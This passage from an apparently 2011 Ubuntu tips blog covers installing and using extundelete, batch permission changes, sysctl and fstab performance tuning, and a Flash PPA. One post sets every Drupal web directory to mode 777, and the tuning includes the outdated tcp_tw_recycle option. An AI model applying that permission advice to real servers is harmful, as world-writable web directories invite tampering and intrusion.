wget http://sourceforge.net/projects/extundelete/files/extundelete/0.2.0/extundelete-0.2.0.tar.bz2/download

tar -xvjf extundelete-0.2.0.tar.bz2
cd extundelete-0.2.0
./autogen.sh
./configure
make
sudo make install


Step 1a : (Alternative)

If you want to generate a debian installable file instead of install from source, you can use this step.

sudo apt-get update
sudo apt-get upgrade
sudo apt-get install build-essential libtool e2fslibs-dev autoconf automake autotools-dev m4 e2fslibs e2fsprogs checkinstall


wget http://sourceforge.net/projects/extundelete/files/extundelete/0.2.0/extundelete-0.2.0.tar.bz2/download

tar -xvjf extundelete-0.2.0.tar.bz2
cd extundelete-0.2.0
./autogen.sh
./configure
make
sudo checkinstall


Follow the instruction on screen to complete the debian executable file generation.

sudo dpkg -i extundelete_0.2.0-1_amd64.deb
or
sudo dpkg -i extundelete_0.2.0-1_i386.deb

Step 2 :

Usage :

Help -
extundelete --help

To undelete test.png file at /dev/sda3 and /home/samiux -
extundelete /dev/sda3 --restore-file /home/samiux/test.png

To undelete test directory at /dev/sda3 and /home/samiux -
extundelete /dev/sda3 --restore-directory /home/samiux/test

To undelete all files and directories at /dev/sda3 -
extundelete /dev/sda3 --restore-all

That's all! See you.

Tuesday, April 19, 2011

HOWTO : Change mode of files and directories in batch

To change the mode to 777 for all directories under /var/www/drupal.

sudo find /var/www/drupal/*/ -type d -exec chmod 777 {} \;

To drop the execution rights of the all files under /var/www.

sudo find /var/www -type f -exec chmod -x {} \;

That's all! See you.

HOWTO : Performance tuning on Ubuntu

This tutorial can be applied to Desktop and Server. Make sure you have at least 512MB RAM on your system beofre doing so.

Step 1 :

sudo nano /etc/sysctl.conf

Append the following lines at the end of the file.

kernel.sem = 250 32000 100 128
kernel.shmall = 2097152
kernel.shmmax = 2147483648
kernel.shmmni = 4096
# If you have more than 512MB RAM, use this setting (uncomment it and comment the setting just below)
fs.file-max = 262140
# If you have 512MB RAM or less, use this setting
#fs.file-max = 65535
vm.swappiness = 1
vm.vfs_cache_pressure = 50
vm.min_free_kbytes = 65536

net.core.rmem_default = 33554432
net.core.rmem_max = 33554432
net.core.wmem_default = 33554432
net.core.wmem_max = 33554432
net.ipv4.tcp_rmem = 10240 87380 33554432
net.ipv4.tcp_wmem = 10240 87380 33554432
net.ipv4.tcp_no_metrics_save = 1
net.ipv4.tcp_window_scaling = 1
#net.ipv4.tcp_timestamps = 1
#net.ipv4.tcp_sack = 1
#net.core.netdev_max_backlog = 5000
#net.ipv4.tcp_mem = 786432 1048576 26777216
net.ipv4.ip_local_port_range = 1024 65535
net.ipv4.tcp_max_tw_buckets = 360000

net.ipv4.tcp_max_orphans = 3276800
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_tw_recycle = 1
net.ipv4.tcp_syn_retries = 2
net.ipv4.tcp_synack_retries = 2
net.core.somaxconn = 32768
net.core.netdev_max_backlog = 32768
net.ipv4.tcp_max_syn_backlog = 65536
net.ipv4.tcp_mem = 94500000 915000000 927000000
net.ipv4.tcp_timestamps = 0
net.ipv4.tcp_fin_timeout = 15
#net.ipv4.tcp_sack = 0
net.ipv4.tcp_orphan_retries = 2
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.all.secure_redirects = 0
net.ipv4.conf.default.secure_redirects = 0
net.ipv4.conf.all.log_martians = 1
net.ipv4.conf.default.log_martians = 1
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
net.ipv4.tcp_syncookies = 1


Save and perform the following command.

sudo /sbin/sysctl -p

Step 2 :

sudo nano /etc/rc.local

Insert the following lines just before "exit 0". This requires to reboot the system to make it works.

echo 1024 > /sys/block/sda/queue/read_ahead_kb
echo 256 > /sys/block/sda/queue/nr_requests


Step 3 :

To do the following step is in your own risk. It works for ext4 only.

sudo nano /etc/fstab

add "discard,norelatime,noatime" just before "errors=remount-ro" and "defaults".

If there is any problem or error when applying the commands, please do not reboot the system. Correct the problem or typo before reboot. Otherwise, your system cannot be reboot.

sudo mount -a
sudo mount -o remount /


Step 4 :

You can now reboot your system if there is no error at Step 3.

That's all! See you.

Friday, April 01, 2011

HOWTO : Latest Adobe Flash for 64-bit Ubuntu 10.10

When you upgraded your Firefox to version 4 on your 64-bit Ubuntu as per this tutorial, you may find that the flash is operating abnormally. Now, we can fix this by installing the latest Flash from PPA.

As I do not have any 32-bit system, I do not know what happen to 32-bit when Firefox is upgraded to version 4.

Your 32-bit version of Flash will be uninstalled automatically from your 64-bit system.

sudo add-apt-repository ppa:sevenmachines/flash
sudo apt-get update
sudo apt-get install flashplugin64-installer


That's all! See you.